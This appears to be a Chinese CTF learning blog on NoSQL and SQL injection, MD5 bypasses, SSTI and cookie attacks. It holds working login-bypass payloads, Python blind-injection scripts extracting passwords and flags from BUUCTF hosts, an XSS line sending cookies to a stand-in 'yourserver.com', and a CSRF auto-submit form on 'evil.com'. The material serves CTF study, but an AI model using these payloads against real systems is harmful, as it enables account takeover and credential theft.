NoSQL注入

NoSQL注入

意外在学习内网渗透途中接触到了NoSQL注入,发现知识库里也没有,所以在这里记录一下

什么是NoSQL?

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

大多数遇到的NoSQL注入,其采用的数据库都是MongoDB。

读这里详细了解MongoDB

NoSQL 注入的分类

有两种 NoSQL 注入分类的方式:

第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。

第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。

1
重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

1
联合查询注入

联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

1
JavaScript 注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

1
盲注

当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

常见的NoSQL为PHP中的NoSQL和Node.js中的NoSQL

PHP 中的NoSQL注入

重言式注入:

重言式注入通常也是判断是否为NoSQL的第一步。 我们需要用$ne关键字构造永真条件来完成NoSQL注入

1
username[$ne]=1&password[$ne]=1

最后如果数据库没有进行任何过滤的话,这里就会输出所有的用户名和用户密码 这里的原理是,$ne关键字在MongoDB查询语句中意思是不等于,也就是说我们上传了一个永真条件,使得登陆成功,但是服务端查不到username是1,password也是1的账户,只能输出所有的账户

所以我们也可以使用以下的payload:

1
2
3
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

JavaScript注入:

MongoDB Server 是支持 JavaScript 的,可以使用 JavaScript 进行一些复杂事务和查询,也允许在查询的时候执行 JavaScript 代码。但是如果传递不干净的用户输入到这些查询中,则可能会注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

要想使用JS注入,我们需要了解一下$where操作符。

在MongoDB中,可以通过$where操作符直接执行JavaScript代码如下实例:

db.users.find({ $where: “function(){return(this.username == ‘whoami’)}” }) { “_id” : ObjectId(“60fa9c80257f18542b68c4b9”), “username” : “whoami”, “password” : “657260” }

由于使用了 $where 关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。

某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData 获取查询条件:

1
db.users.find({ $where: "function(){return(this.username == $userData)}" })

然后,攻击者可能会注入一种恶意的字符串如 ‘a’; sleep(5000) ,此时 MongoDB 执行的查询语句为:

1
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })

如果此时服务器有 5 秒钟的延迟则说明注入成功。 值得注意的是,在 MongoDB 2.4 之前,通过 $where 操作符使用map-reducegroup 命令可以访问到 Mongo Shell 中的全局函数和属性,如db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。 在MongoDB 2.4 之后db访问不到了,但还是可以构造万能密码查出用户信息

布尔盲注: 当页面没有回显的时候可以使用$regex正则表达式来进行盲注,$regex可以达到和传统SQL注入中substr()函数相同的功能。

和传统SQL注入一样,在已知用户名的情况下,我们需要知道密码长度。可以使用

username=admin&password[$regex]=.[4] (“[]”中的数字可以更改来确定密码长度,如果[4]为真,[5]为假,则密码为4位)

Node.js中的MongoDB注入

Node.js中的MongoDB注入主要是重言式注入,通过构造永真式万能密码实现登录绕过 另外,如果过滤了$ne关键字可以使用Unicode编码绕过。 在这里贴一个布尔盲注用于爆密码的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
plaintext
import requests
import string

password = ''
url = 'http://node4.buuoj.cn:27409/login.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                print("[+] %s" % (password + c))
                password += c

# 输出:
# [+] 4
# [+] 42
# [+] 422
# [+] 4227
# [+] 42276
# [+] 422766
# ......
# [+] 42276606202db06ad1f29ab6b4a1
# [+] 42276606202db06ad1f29ab6b4a13
# [+] 42276606202db06ad1f29ab6b4a130
# [+] 42276606202db06ad1f29ab6b4a1307
# [+] 42276606202db06ad1f29ab6b4a1307f

关于Linux中的管道符 |

管道符在以前RCE的时候也见到过但是没有进行系统研究,最近刷题的时候又遇到了,所以在这里记录一下 使用|可以将两个命令分隔开来,同时管道符左边命令的输出可以作右边命令的输入 因此在遇到一些已经可以执行命令(比如Ping)的靶机上,通过|连接cat或find或grep命令来找到flag

MD5

MD5绕过真是五花八门,ffifdyop和129581926211651571912466741651878684928可用于SQL注入时语句经过MD5加密之后的绕过,其原理是:提交的字符串经过加密形成的16进制字符串转换成10进制数字后对应的asii表内容为:‘ or ‘ 6……。 另外,数组绕过还可以绕过if($_POST[‘param1’]!==$_POST[‘param2’]&&md5($_POST[‘param1’])===md5($_POST[‘param2’]))

SQL布尔盲注

第一次在题目中遇到布尔盲注,所以在这里记录一下 题目:

[[CISCN2019 华北赛区 Day2 Web1]Hack World 1](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)

我一开始怀疑是NoSQL(因为题目提示是SQL注入,PHP),结果尝试username[$ne]=1&password[$ne]=1发现已经被过滤了。遂尝试普通的SQL注入 输入*1’ or 1=1 –+1;show databases();#*发现均被过滤,而输入1和2的时候登陆成功,输入3以上的数字以及字母都会报错(回显bool flase) 所以猜测这里需要布尔盲注,同时屏蔽了关键词 尝试Fuzz一下看看屏蔽了哪些关键词

1
2
3
4
这里粘贴一些用于Fuzz的字典
https://github.com/Underwood12/FuzzDict
这是Fuzz教程  
https://www.bilibili.com/video/BV1Zs42137tf

题目给库名和表名都是flag 所以用id=0^(ascii(substr((select(flag)from(flag)),1,1))>101) 来查询,由于当>102的时候报错,说明第一个字符就是102的ascii所对应的字符,也就是f 然后使用脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
plaintext
import requests

url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"

result = ""
num = 0  # 用了来判断是不是flag已经拼完整了
for i in range(1, 60):

    if num == 1:
        break

    for j in range(32, 128):

        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        # print(str((i-1)*96+j-32)+":~"+payload+"~")

        data = {
            "id": payload,
        }

        r = requests.post(url, data=data)

        r.encoding = r.apparent_encoding

        if "Hello" in r.text:
            x = chr(j)
            result += str(x)
            print(result)
            break

        if "}" in result:
            print(result)
            num = 1
            break

得到flag

SSTI

做了一道BUUCTF题,接触了许多新的知识点。在这里记录一下 题目在这:

👉 [BJDCTF2020 题目链接](https://buuoj.cn/challenges#[BJDCTF2020]Cookie is so stable)

1.SSTI

SSTI是这道题所考察的知识点,所以写在最前面

如何判断是SSTI

众所周知,SSTI是利用服务器模板漏洞,在模板引擎中注入恶意代码来进行攻击。 所以我们可以通过输入一些特殊的“探针”,观察服务器响应的变化来判断是否存在SSTI 常见的SSTI探针:

​ {{77}} # Jinja2, Nunjucks, Twig等 ${77} # JSP, Freemarker, Spring <%= 7 * 7 %> # EJS (Embedded JavaScript) #{7*7} # Thymeleaf

我们可以在输入框、URL参数、HTTP头、Cookies等位置尝试输入这些探针。然后查看页面返回里有没有49,如果有49,说明这里执行成功了,则存在SSTI漏洞

不同的模板中使用不同的注入格式

  • Jinja2 和 Twig: 使用 {{ }}
  • Freemarker 和 Spring: 使用 ${ }
  • EJS: 使用 <%= %>
  • Thymeleaf: 使用 #{ } 有时候会对大括号之类的进行过滤,所以可以用Unicode进行绕过

👉 SSTI 利用的文章

2.这道题提示查看Cookie,看看能从Cookie中突破的还有什么?

Cookie可以从以下方面入手 1.HttpOnly、Secure、SameSite 标志:如果Cookie没有设置这些标志,可能可以通过XSS攻击窃取Cookie。 2.弱JWT签名:如果JWT使用弱的对称加密密钥(如 secret)或无签名 (none algorithm),可以直接伪造JWT。 3.客户端验证:CTF中常见的“role=guest”→“role=admin”权限提升。 4.会话固定 (Session Fixation):如果你能控制Session ID,可能可以冒充管理员。

这里详细写一下第一点和第二点

一、HttpOnly、Secure、SameSite 标志 我们可以使用F12打开控制台,然后在应用程序 (Application)”→“存储 (Storage)”→“Cookies”中,检查Cookie的属性:

1
2
3
HttpOnly:如果未启用,可能可以通过XSS攻击来窃取Cookie。
Secure:如果未启用,可能会在HTTP而不是HTTPS上传输Cookie。
SameSite:如果为None,可能可用于CSRF攻击。  

1. 利用 HttpOnly

开启HttpOnly则禁止通过JavaScript访问Cookie 如果这里是关的,那就可以

1
2
plaintext
<script>fetch('http://yourserver.com/steal?cookie=' + document.cookie);</script>    

通过钓鱼的方式来获取管理员的会话ID

使用Burp Suite或Wireshark进行抓包。 在HTTP请求中,寻找Cookie: PHPSESSID=xxxx。 如果会话ID出现在HTTP请求中,而不是HTTPS中,则可以劫持会话。 如果题目考察是中间人攻击 (MITM),你可以使用Wireshark来捕获Cookie: 过滤器:http.cookie。 查找“Set-Cookie”或“Cookie”字段中的会话ID。

3. 利用不安全的 SameSite 属性

如果SameSite标志为None,则跨站请求可以携带会话ID。 这使得CSRF攻击成为可能。 在攻击者的网站(比如 http:/ /evil.com)上放置以下表单:

1
2
3
4
5
plaintext
<form action="http ://victim.com/change_password.php" method="POST">
  <input type="hidden" name="password" value="newpassword123">
</form>
<script>document.forms[0].submit();</script>

如果受害者访问evil. com,表单会在受害者的会话中自动提交。

如果SameSite=None,浏览器会将受害者的会话ID (PHPSESSID) 自动携带到请求中,管理员的身份将被利用。

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计